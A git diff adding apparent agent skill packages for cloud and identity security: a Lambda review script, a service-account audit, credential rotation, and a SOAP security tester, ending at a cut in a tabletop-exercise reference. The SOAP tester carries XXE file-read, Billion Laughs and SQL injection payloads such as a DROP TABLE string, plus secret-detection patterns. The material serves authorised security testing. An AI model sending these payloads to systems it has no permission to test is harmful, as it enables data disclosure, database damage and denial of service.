{role_name} has AdministratorAccess") + version_id = iam.get_policy(PolicyArn=policy["PolicyArn"])["Policy"]["DefaultVersionId"] + doc = iam.get_policy_version( + PolicyArn=policy["PolicyArn"], VersionId=version_id + )["PolicyVersion"]["Document"] + for stmt in doc.get("Statement", []): + actions = stmt.get("Action", []) + if isinstance(actions, str): + actions = [actions] + if "*" in actions or any(a.endswith(":*") for a in actions): + findings.append( + f"WARNING: {role_name} has wildcard action: {actions} " + f"on {stmt.get('Resource', '*')}" + ) + except ClientError as e: + findings.append(f"ERROR auditing role {role_name}: {e}") + return findings + + +SENSITIVE_PATTERNS = [ + re.compile(r"(?i)(password|secret|key|token|credential|api.?key)"), + re.compile(r"(?i)(aws.?access|aws.?secret)"), + re.compile(r"(?i)(database.?url|connection.?string|db.?pass)"), + re.compile(r"AKIA[0-9A-Z]{16}"), +] + + +def check_env_secrets(env_vars): + findings = [] + if not env_vars: + return findings + for key, value in env_vars.items(): + for pattern in SENSITIVE_PATTERNS: + if pattern.search(key) or pattern.search(str(value)): + masked = value[:4] + "****" + value[-4:] if len(value) > 8 else "****" + findings.append(f"SENSITIVE: {key} = {masked}") + break + return findings + + +def check_public_access(client, function_name): + findings = [] + try: + policy = client.get_policy(FunctionName=function_name) + doc = json.loads(policy["Policy"]) + for stmt in doc.get("Statement", []): + principal = stmt.get("Principal", {}) + if principal == "*" or principal == {"AWS": "*"}: + findings.append( + f"PUBLIC ACCESS: {function_name} allows public invocation " + f"(statement: {stmt.get('Sid', 'unnamed')})" + ) + except ClientError: + pass + try: + urls = client.list_function_url_configs(FunctionName=function_name) + for url_cfg in urls.get("FunctionUrlConfigs", []): + if url_cfg.get("AuthType") == "NONE": + findings.append( + f"UNAUTHENTICATED URL: {function_name} -> {url_cfg['FunctionUrl']}" + ) + except ClientError: + pass + return findings + + +def run_review(region="us-east-1"): + lam = get_lambda_client(region) + iam = get_iam_client(region) + functions = list_all_functions(lam) + report = { + "total_functions": len(functions), + "deprecated_runtimes": [], + "role_findings": [], + "secret_findings": [], + "public_access_findings": [], + } + for func in functions: + name = func["FunctionName"] + runtime = func.get("Runtime", "unknown") + if check_deprecated_runtime(runtime): + report["deprecated_runtimes"].append({"function": name, "runtime": runtime}) + report["role_findings"].extend(audit_execution_role(iam, func["Role"])) + env = func.get("Environment", {}).get("Variables", {}) + secrets = check_env_secrets(env) + if secrets: + report["secret_findings"].extend( + [{"function": name, "finding": s} for s in secrets] + ) + report["public_access_findings"].extend(check_public_access(lam, name)) + return report + + +def print_report(report): + print("Serverless Function Security Review") + print("=" * 40) + print(f"Functions Reviewed: {report['total_functions']}") + for section, label in [ + ("deprecated_runtimes", "Deprecated Runtimes"), + ("role_findings", "Role Issues"), + ("secret_findings", "Secrets in Env Vars"), + ("public_access_findings", "Public Access"), + ]: + items = report[section] + print(f"\n{label}: {len(items)} finding(s)") + for item in items: + print(f" - {item}") + + +if __name__ == "__main__": + result = run_review() + print_report(result) diff --git a/skills/performing-service-account-audit/LICENSE b/skills/performing-service-account-audit/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-service-account-audit/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-service-account-audit/references/api-reference.md b/skills/performing-service-account-audit/references/api-reference.md new file mode 100644 index 00000000..d383f01d --- /dev/null +++ b/skills/performing-service-account-audit/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Service Account Audit + +## Active Directory PowerShell Cmdlets + +| Cmdlet | Description | +|--------|-------------| +| `Get-ADUser -Filter {ServicePrincipalName -ne '$null'}` | Find accounts with SPNs | +| `Get-ADServiceAccount -Filter *` | List managed service accounts | +| `Get-ADGroupMember -Identity "Domain Admins"` | List privileged group members | +| `Search-ADAccount -PasswordNeverExpires` | Find non-expiring passwords | +| `Search-ADAccount -AccountInactive -TimeSpan 90.00:00:00` | Find inactive accounts | + +## AWS IAM CLI Commands + +| Command | Description | +|---------|-------------| +| `aws iam list-users` | List all IAM users | +| `aws iam list-access-keys --user-name ` | List access keys for user | +| `aws iam get-access-key-last-used --access-key-id ` | Check key last used date | +| `aws iam list-user-policies --user-name ` | List inline policies | +| `aws iam list-attached-user-policies --user-name ` | List managed policies | +| `aws iam generate-credential-report` | Generate credential report | + +## Azure CLI Commands + +| Command | Description | +|---------|-------------| +| `az ad sp list --all` | List all service principals | +| `az ad app list --all` | List all app registrations | +| `az ad app credential list --id ` | List credential expiration | + +## Risk Classification + +| Level | Score Range | Criteria | +|-------|------------|----------| +| Critical | >= 40 | Domain admin + stale password + no owner | +| High | 25-39 | Privileged group membership or orphaned | +| Medium | 10-24 | Password age exceeded or PasswordNeverExpires | +| Low | 0-9 | Standard permissions, managed credentials | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute PowerShell and AWS CLI commands | +| `json` | stdlib | Parse CLI output | +| `ldap3` | >=2.9 | Direct LDAP queries to Active Directory | +| `boto3` | >=1.26 | AWS IAM programmatic access | + +## References + +- NIST SP 800-53 AC-2: Account Management +- CIS Benchmark for Active Directory +- AWS IAM Best Practices: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html +- Microsoft gMSA: https://learn.microsoft.com/en-us/windows-server/security/group-managed-service-accounts/group-managed-service-accounts-overview diff --git a/skills/performing-service-account-audit/scripts/agent.py b/skills/performing-service-account-audit/scripts/agent.py new file mode 100644 index 00000000..76784b57 --- /dev/null +++ b/skills/performing-service-account-audit/scripts/agent.py @@ -0,0 +1,173 @@ +#!/usr/bin/env python3 +"""Agent for auditing service accounts across AD, cloud, and databases. + +Discovers service accounts via LDAP queries, AWS IAM, and Azure AD, +checks password age, privilege levels, and orphan status, then +generates a risk-classified compliance report. +""" + +import json +import sys +import subprocess +from datetime import datetime, timedelta +from collections import defaultdict + + +class ServiceAccountAuditor: + """Audits service accounts across enterprise infrastructure.""" + + RISK_WEIGHTS = {"Domain Admins": 30, "Enterprise Admins": 30, + "Schema Admins": 25, "Administrators": 20, + "Account Operators": 15, "Backup Operators": 10} + + def __init__(self, domain=None, max_password_age_days=90): + self.domain = domain + self.max_password_age_days = max_password_age_days + self.accounts = [] + + def discover_ad_service_accounts(self): + """Discover service accounts in Active Directory via PowerShell.""" + ps_cmd = ( + "Get-ADUser -Filter {ServicePrincipalName -ne '$null'} " + "-Properties ServicePrincipalName,PasswordLastSet,LastLogonDate," + "Enabled,MemberOf,Description,PasswordNeverExpires " + "| Select-Object Name,SamAccountName,Enabled,PasswordLastSet," + "LastLogonDate,PasswordNeverExpires," + "@{N='SPNs';E={$_.ServicePrincipalName -join ';'}}," + "@{N='Groups';E={($_.MemberOf | ForEach-Object " + "{($_ -split ',')[0] -replace 'CN=',''}) -join ';'}}," + "Description | ConvertTo-Json -Depth 3" + ) + try: + result = subprocess.run( + ["powershell", "-NoProfile", "-Command", ps_cmd], + capture_output=True, text=True, timeout=120 + ) + if result.returncode == 0 and result.stdout.strip(): + data = json.loads(result.stdout) + if isinstance(data, dict): + data = [data] + for acct in data: + acct["source"] = "ActiveDirectory" + self.accounts.extend(data) + return data + except (subprocess.TimeoutExpired, json.JSONDecodeError, FileNotFoundError) as exc: + return {"error": str(exc)} + return [] + + def discover_aws_iam_users(self): + """Discover AWS IAM service users via CLI.""" + try: + result = subprocess.run( + ["aws", "iam", "list-users", "--output", "json"], + capture_output=True, text=True, timeout=60 + ) + if result.returncode == 0: + users = json.loads(result.stdout).get("Users", []) + svc_users = [] + for u in users: + name = u.get("UserName", "") + if any(p in name.lower() for p in ["svc", "service", "bot", "automation"]): + keys_result = subprocess.run( + ["aws", "iam", "list-access-keys", + "--user-name", name, "--output", "json"], + capture_output=True, text=True, timeout=30 + ) + keys = [] + if keys_result.returncode == 0: + keys = json.loads(keys_result.stdout).get("AccessKeyMetadata", []) + svc_users.append({ + "Name": name, "source": "AWS_IAM", + "CreateDate": u.get("CreateDate", ""), + "PasswordLastUsed": u.get("PasswordLastUsed", ""), + "AccessKeys": len(keys), + "OldestKeyDate": min( + (k.get("CreateDate", "") for k in keys), default="" + ), + }) + self.accounts.extend(svc_users) + return svc_users + except (FileNotFoundError, json.JSONDecodeError): + pass + return [] + + def assess_risk(self, account): + """Classify account risk based on privilege, age, and activity.""" + score = 0 + issues = [] + + groups = account.get("Groups", "").split(";") if account.get("Groups") else [] + for grp in groups: + if grp in self.RISK_WEIGHTS: + score += self.RISK_WEIGHTS[grp] + issues.append(f"Member of {grp}") + + if account.get("PasswordNeverExpires"): + score += 15 + issues.append("PasswordNeverExpires set") + + pwd_set = account.get("PasswordLastSet") + if pwd_set: + try: + pwd_date = datetime.fromisoformat(pwd_set.replace("/Date(", "").rstrip(")/")) + except (ValueError, AttributeError): + pwd_date = None + if pwd_date and (datetime.utcnow() - pwd_date).days > self.max_password_age_days: + age_days = (datetime.utcnow() - pwd_date).days + score += 10 + issues.append(f"Password age {age_days} days (>{self.max_password_age_days})") + + last_logon = account.get("LastLogonDate") + if not last_logon: + score += 10 + issues.append("No recorded logon (possible orphan)") + + if score >= 40: + level = "Critical" + elif score >= 25: + level = "High" + elif score >= 10: + level = "Medium" + else: + level = "Low" + + return {"risk_level": level, "risk_score": score, "issues": issues} + + def generate_report(self): + """Generate a compliance report for all discovered accounts.""" + report = { + "audit_date": datetime.utcnow().isoformat(), + "domain": self.domain, + "total_accounts": len(self.accounts), + "by_source": defaultdict(int), + "by_risk": defaultdict(int), + "accounts": [], + } + + for acct in self.accounts: + assessment = self.assess_risk(acct) + report["by_source"][acct.get("source", "unknown")] += 1 + report["by_risk"][assessment["risk_level"]] += 1 + report["accounts"].append({ + "name": acct.get("Name") or acct.get("SamAccountName", ""), + "source": acct.get("source", ""), + **assessment, + }) + + report["by_source"] = dict(report["by_source"]) + report["by_risk"] = dict(report["by_risk"]) + report["accounts"].sort(key=lambda a: a["risk_score"], reverse=True) + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + domain = sys.argv[1] if len(sys.argv) > 1 else None + auditor = ServiceAccountAuditor(domain=domain) + auditor.discover_ad_service_accounts() + auditor.discover_aws_iam_users() + auditor.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-service-account-credential-rotation/LICENSE b/skills/performing-service-account-credential-rotation/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-service-account-credential-rotation/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-service-account-credential-rotation/references/api-reference.md b/skills/performing-service-account-credential-rotation/references/api-reference.md new file mode 100644 index 00000000..c1dcbf66 --- /dev/null +++ b/skills/performing-service-account-credential-rotation/references/api-reference.md @@ -0,0 +1,58 @@ +# API Reference: Service Account Credential Rotation + +## AWS IAM CLI Key Rotation + +| Command | Description | +|---------|-------------| +| `aws iam create-access-key --user-name ` | Create new access key | +| `aws iam list-access-keys --user-name ` | List existing keys | +| `aws iam update-access-key --access-key-id --status Inactive` | Deactivate old key | +| `aws iam delete-access-key --access-key-id --user-name ` | Delete old key | + +## Azure AD CLI Credential Rotation + +| Command | Description | +|---------|-------------| +| `az ad app credential reset --id --years 1` | Generate new client secret | +| `az ad app credential list --id ` | List current credentials | +| `az ad app credential delete --id --key-id ` | Remove old credential | + +## HashiCorp Vault Database Secrets Engine + +| Endpoint | Method | Description | +|----------|--------|-------------| +| `/v1/database/creds/{role}` | GET | Generate dynamic database credentials | +| `/v1/database/config/{name}` | POST | Configure database connection | +| `/v1/database/roles/{name}` | POST | Create dynamic credential role | +| `/v1/sys/leases/revoke` | PUT | Revoke a dynamic credential lease | + +### Vault Request Headers + +| Header | Value | +|--------|-------| +| `X-Vault-Token` | Vault authentication token | +| `Content-Type` | `application/json` | + +## GCP Service Account Key Rotation + +| Command | Description | +|---------|-------------| +| `gcloud iam service-accounts keys create` | Create new key | +| `gcloud iam service-accounts keys list --iam-account ` | List keys | +| `gcloud iam service-accounts keys delete ` | Delete old key | + +## Python Libraries + +| Library | Version | Purpose | +|---------|---------|---------| +| `subprocess` | stdlib | Execute AWS/Azure/GCP CLI commands | +| `requests` | >=2.28 | HashiCorp Vault HTTP API calls | +| `hvac` | >=2.1 | HashiCorp Vault Python client | +| `boto3` | >=1.26 | AWS IAM programmatic key rotation | + +## References + +- AWS Secrets Manager Rotation: https://docs.aws.amazon.com/secretsmanager/latest/userguide/rotating-secrets.html +- HashiCorp Vault Database Engine: https://developer.hashicorp.com/vault/docs/secrets/databases +- Azure Key Vault Rotation: https://learn.microsoft.com/en-us/azure/key-vault/secrets/tutorial-rotation +- GCP Key Rotation: https://cloud.google.com/iam/docs/key-rotation diff --git a/skills/performing-service-account-credential-rotation/scripts/agent.py b/skills/performing-service-account-credential-rotation/scripts/agent.py new file mode 100644 index 00000000..173c4ce7 --- /dev/null +++ b/skills/performing-service-account-credential-rotation/scripts/agent.py @@ -0,0 +1,163 @@ +#!/usr/bin/env python3 +"""Agent for automating service account credential rotation. + +Rotates credentials for AWS IAM access keys, Azure service principals, +and database accounts via HashiCorp Vault, with post-rotation health +checks and rollback capability. +""" + +import json +import sys +import subprocess +import time +import requests +from datetime import datetime + + +class CredentialRotationAgent: + """Automates service account credential rotation across platforms.""" + + def __init__(self, vault_url=None, vault_token=None): + self.vault_url = vault_url + self.vault_token = vault_token + self.rotation_log = [] + + def _log(self, platform, account, action, status, details=None): + entry = { + "timestamp": datetime.utcnow().isoformat(), + "platform": platform, "account": account, + "action": action, "status": status, + } + if details: + entry["details"] = details + self.rotation_log.append(entry) + + def rotate_aws_access_key(self, username): + """Rotate an AWS IAM user's access key using the AWS CLI.""" + try: + create = subprocess.run( + ["aws", "iam", "create-access-key", + "--user-name", username, "--output", "json"], + capture_output=True, text=True, timeout=30 + ) + if create.returncode != 0: + self._log("AWS", username, "create-key", "failed", create.stderr) + return {"error": create.stderr} + + new_key = json.loads(create.stdout)["AccessKey"] + new_key_id = new_key["AccessKeyId"] + + list_result = subprocess.run( + ["aws", "iam", "list-access-keys", + "--user-name", username, "--output", "json"], + capture_output=True, text=True, timeout=30 + ) + if list_result.returncode == 0: + keys = json.loads(list_result.stdout).get("AccessKeyMetadata", []) + for key in keys: + if key["AccessKeyId"] != new_key_id and key["Status"] == "Active": + subprocess.run( + ["aws", "iam", "update-access-key", + "--user-name", username, + "--access-key-id", key["AccessKeyId"], + "--status", "Inactive"], + capture_output=True, text=True, timeout=30 + ) + self._log("AWS", username, "deactivate-old-key", "success", + {"old_key_id": key["AccessKeyId"]}) + + self._log("AWS", username, "rotate-key", "success", + {"new_key_id": new_key_id}) + return {"new_key_id": new_key_id, "secret_key": new_key["SecretAccessKey"]} + + except (subprocess.TimeoutExpired, json.JSONDecodeError) as exc: + self._log("AWS", username, "rotate-key", "error", str(exc)) + return {"error": str(exc)} + + def rotate_azure_sp_secret(self, app_id, display_name="rotated-secret"): + """Rotate an Azure AD service principal client secret via az CLI.""" + try: + result = subprocess.run( + ["az", "ad", "app", "credential", "reset", + "--id", app_id, "--display-name", display_name, + "--years", "1", "--output", "json"], + capture_output=True, text=True, timeout=60 + ) + if result.returncode == 0: + cred = json.loads(result.stdout) + self._log("Azure", app_id, "rotate-secret", "success") + return {"app_id": cred.get("appId"), "password": cred.get("password"), + "tenant": cred.get("tenant")} + self._log("Azure", app_id, "rotate-secret", "failed", result.stderr) + return {"error": result.stderr} + except (subprocess.TimeoutExpired, json.JSONDecodeError) as exc: + self._log("Azure", app_id, "rotate-secret", "error", str(exc)) + return {"error": str(exc)} + + def rotate_vault_database_creds(self, role_name): + """Request new dynamic database credentials from HashiCorp Vault.""" + if not self.vault_url or not self.vault_token: + return {"error": "Vault URL and token required"} + try: + resp = requests.get( + f"{self.vault_url}/v1/database/creds/{role_name}", + headers={"X-Vault-Token": self.vault_token}, timeout=15 + ) + if resp.status_code == 200: + data = resp.json().get("data", {}) + self._log("Vault", role_name, "generate-creds", "success", + {"username": data.get("username")}) + return {"username": data.get("username"), + "password": data.get("password"), + "lease_duration": resp.json().get("lease_duration")} + self._log("Vault", role_name, "generate-creds", "failed", + {"status": resp.status_code}) + return {"error": resp.text} + except requests.RequestException as exc: + self._log("Vault", role_name, "generate-creds", "error", str(exc)) + return {"error": str(exc)} + + def verify_service_health(self, endpoints): + """Verify services are healthy after credential rotation.""" + results = [] + for ep in endpoints: + for attempt in range(3): + try: + resp = requests.get(ep["url"], timeout=10, + headers=ep.get("headers", {})) + healthy = resp.status_code == 200 + results.append({"service": ep["name"], "healthy": healthy, + "status_code": resp.status_code, "attempt": attempt + 1}) + if healthy: + break + except requests.RequestException as exc: + results.append({"service": ep["name"], "healthy": False, + "error": str(exc), "attempt": attempt + 1}) + time.sleep(5) + return results + + def generate_report(self): + """Output the rotation audit log as JSON.""" + report = { + "report_date": datetime.utcnow().isoformat(), + "total_rotations": len(self.rotation_log), + "successful": sum(1 for e in self.rotation_log if e["status"] == "success"), + "failed": sum(1 for e in self.rotation_log if e["status"] != "success"), + "log": self.rotation_log, + } + print(json.dumps(report, indent=2, default=str)) + return report + + +def main(): + agent = CredentialRotationAgent( + vault_url=sys.argv[1] if len(sys.argv) > 1 else None, + vault_token=sys.argv[2] if len(sys.argv) > 2 else None, + ) + if len(sys.argv) > 3: + agent.rotate_aws_access_key(sys.argv[3]) + agent.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-soap-web-service-security-testing/LICENSE b/skills/performing-soap-web-service-security-testing/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-soap-web-service-security-testing/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-soap-web-service-security-testing/references/api-reference.md b/skills/performing-soap-web-service-security-testing/references/api-reference.md new file mode 100644 index 00000000..383005d2 --- /dev/null +++ b/skills/performing-soap-web-service-security-testing/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: SOAP Web Service Security Testing + +## WSDL Namespaces + +| Prefix | URI | Purpose | +|--------|-----|---------| +| `wsdl` | `http://schemas.xmlsoap.org/wsdl/` | WSDL 1.1 definitions | +| `soap` | `http://schemas.xmlsoap.org/wsdl/soap/` | SOAP 1.1 binding | +| `soap12` | `http://schemas.xmlsoap.org/wsdl/soap12/` | SOAP 1.2 binding | +| `xsd` | `http://www.w3.org/2001/XMLSchema` | XML Schema types | +| `wsse` | `http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd` | WS-Security | + +## SOAP Request Headers + +| Header | Value | Description | +|--------|-------|-------------| +| `Content-Type` | `text/xml; charset=utf-8` | SOAP 1.1 content type | +| `Content-Type` | `application/soap+xml; charset=utf-8` | SOAP 1.2 content type | +| `SOAPAction` | `"http://example.com/Operation"` | Target operation URI | + +## Common Test Payloads + +| Test | Category | Severity | +|------|----------|----------| +| XXE file read (``) | XML Injection | Critical | +| Billion Laughs (`=2.28 | Send raw SOAP HTTP requests | +| `lxml` | >=4.9 | Parse WSDL/XML with namespace support | +| `zeep` | >=4.2 | Full SOAP client with WSDL parsing | +| `suds-community` | >=1.1 | Alternative SOAP client | + +## lxml Key Methods + +| Method | Description | +|--------|-------------| +| `etree.fromstring(xml_bytes)` | Parse XML from bytes | +| `root.find(xpath, namespaces)` | Find single element | +| `root.findall(xpath, namespaces)` | Find all matching elements | +| `element.get(attr)` | Get attribute value | + +## References + +- OWASP SOAP Testing: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/01-Testing_GraphQL +- PortSwigger XXE: https://portswigger.net/web-security/xxe +- zeep Documentation: https://docs.python-zeep.org/en/master/ +- WS-Security Specification: https://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0.pdf diff --git a/skills/performing-soap-web-service-security-testing/scripts/agent.py b/skills/performing-soap-web-service-security-testing/scripts/agent.py new file mode 100644 index 00000000..83a27010 --- /dev/null +++ b/skills/performing-soap-web-service-security-testing/scripts/agent.py @@ -0,0 +1,182 @@ +#!/usr/bin/env python3 +"""Agent for security testing SOAP web services. + +Parses WSDL definitions using zeep/lxml, tests for XXE, SQL injection, +SOAPAction spoofing, and WS-Security bypass vulnerabilities. +""" + +import requests +import json +import sys +import re +from lxml import etree + + +SOAP_NS = { + "wsdl": "http://schemas.xmlsoap.org/wsdl/", + "soap": "http://schemas.xmlsoap.org/wsdl/soap/", + "soap12": "http://schemas.xmlsoap.org/wsdl/soap12/", + "wsse": "http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd", +} + + +class SOAPSecurityTester: + """Tests SOAP web services for common vulnerabilities.""" + + def __init__(self, wsdl_url, endpoint_url=None): + self.wsdl_url = wsdl_url + self.endpoint_url = endpoint_url + self.operations = [] + self.findings = [] + + def parse_wsdl(self): + """Fetch and parse the WSDL to extract operations and endpoint.""" + resp = requests.get(self.wsdl_url, timeout=30) + resp.raise_for_status() + root = etree.fromstring(resp.content) + + if not self.endpoint_url: + addr = root.find(".//soap:address", SOAP_NS) + if addr is not None: + self.endpoint_url = addr.get("location") + + for binding_op in root.findall(".//wsdl:binding/wsdl:operation", SOAP_NS): + name = binding_op.get("name") + soap_op = binding_op.find("soap:operation", SOAP_NS) + action = soap_op.get("soapAction", "") if soap_op is not None else "" + self.operations.append({"name": name, "action": action}) + return self.operations + + def _send_soap(self, body_xml, soap_action="", timeout=10): + headers = {"Content-Type": "text/xml; charset=utf-8"} + if soap_action: + headers["SOAPAction"] = soap_action + return requests.post(self.endpoint_url, data=body_xml, + headers=headers, timeout=timeout) + + def test_xxe(self, operation_name): + """Test for XML External Entity injection.""" + payloads = [ + ("Classic XXE file read", + f']>' + f'<{operation_name}>&xxe;' + f''), + ("Billion Laughs DoS", + f'' + f']>' + f'' + f'<{operation_name}>&l3;' + f''), + ] + results = [] + for name, payload in payloads: + try: + resp = self._send_soap(payload, timeout=10) + vulnerable = "root:" in resp.text or resp.elapsed.total_seconds() > 5 + if vulnerable: + self.findings.append({"severity": "CRITICAL", "type": "XXE", + "operation": operation_name, "test": name}) + results.append({"test": name, "vulnerable": vulnerable, + "status": resp.status_code, + "time_s": resp.elapsed.total_seconds()}) + except requests.RequestException as exc: + results.append({"test": name, "error": str(exc)}) + return results + + def test_sql_injection(self, operation_name, soap_action=""): + """Test SOAP parameters for SQL injection error disclosure.""" + sqli_payloads = ["' OR '1'='1", "1; DROP TABLE users--", + "' UNION SELECT NULL--", "admin'/*"] + results = [] + sql_errors = ["SQL syntax", "ORA-", "SQLSTATE", "Unclosed quotation", + "Microsoft OLE DB", "PostgreSQL"] + for payload in sqli_payloads: + body = (f'' + f'<{operation_name}>' + f'{payload}' + f'') + try: + resp = self._send_soap(body, soap_action, timeout=15) + error_found = any(e in resp.text for e in sql_errors) + if error_found: + self.findings.append({"severity": "CRITICAL", "type": "SQL Injection", + "operation": operation_name, + "payload": payload[:30]}) + results.append({"payload": payload, "sql_error": error_found, + "status": resp.status_code}) + except requests.RequestException: + continue + return results + + def test_soapaction_spoofing(self): + """Test whether mismatched SOAPAction headers are accepted.""" + results = [] + for i, op in enumerate(self.operations): + for j, other in enumerate(self.operations): + if i == j: + continue + body = (f'' + f'<{op["name"]}>

test

' + f'
') + try: + resp = self._send_soap(body, other["action"]) + if resp.status_code == 200 and "Fault" not in resp.text: + self.findings.append({"severity": "HIGH", + "type": "SOAPAction Spoofing", + "operation": op["name"], + "spoofed_action": other["action"]}) + results.append({"op": op["name"], + "spoofed": other["action"], "accepted": True}) + except requests.RequestException: + continue + return results + + def test_ws_security_bypass(self): + """Test whether requests without WS-Security tokens are accepted.""" + if not self.operations: + return [] + op = self.operations[0] + body = (f'' + f'<{op["name"]}>

test

' + f'
') + try: + resp = self._send_soap(body) + accepted = resp.status_code == 200 and "Fault" not in resp.text + if accepted: + self.findings.append({"severity": "CRITICAL", + "type": "WS-Security Bypass", + "operation": op["name"]}) + return [{"test": "No WS-Security header", "accepted": accepted}] + except requests.RequestException as exc: + return [{"error": str(exc)}] + + def generate_report(self): + report = {"target": self.endpoint_url, "wsdl": self.wsdl_url, + "operations": len(self.operations), + "findings_count": len(self.findings), + "findings": self.findings} + print(json.dumps(report, indent=2)) + return report + + +def main(): + wsdl = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:8080/ws?wsdl" + tester = SOAPSecurityTester(wsdl) + tester.parse_wsdl() + for op in tester.operations: + tester.test_xxe(op["name"]) + tester.test_sql_injection(op["name"], op["action"]) + tester.test_soapaction_spoofing() + tester.test_ws_security_bypass() + tester.generate_report() + + +if __name__ == "__main__": + main() diff --git a/skills/performing-soc-tabletop-exercise/LICENSE b/skills/performing-soc-tabletop-exercise/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/performing-soc-tabletop-exercise/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/performing-soc-tabletop-exercise/references/api-reference.md b/skills/performing-soc-tabletop-exercise/references/api-reference.md new file mode 100644 index 00000000..0e9942f1 --- /dev/null +++ b/skills/performing-soc-tabletop-exercise/references/api-reference.md @@ -0,0 +1,63 @@ +# API Reference: SOC Tabletop Exercise Agent + +## Overview + +Manages SOC tabletop exercise lifecycle: scenario generation from templates, participant tracking, inject delivery, response scoring, and after-action report generation. + +## Dependencies + +| Package | Version | Purpose | +|---------|---------|---------| +| json | stdlib | Report serialization | +| datetime | stdlib | Exercise scheduling and IDs | + +## Core Functions + +### `create_exercise(scenario_type, participants, duration_hours=3)` +Creates a structured tabletop exercise from a scenario template. +- **Parameters**: `scenario_type` (str) - one of `ransomware`, `data_breach`, `supply_chain`; `participants` (list[dict]) - role/count pairs +- **Returns**: 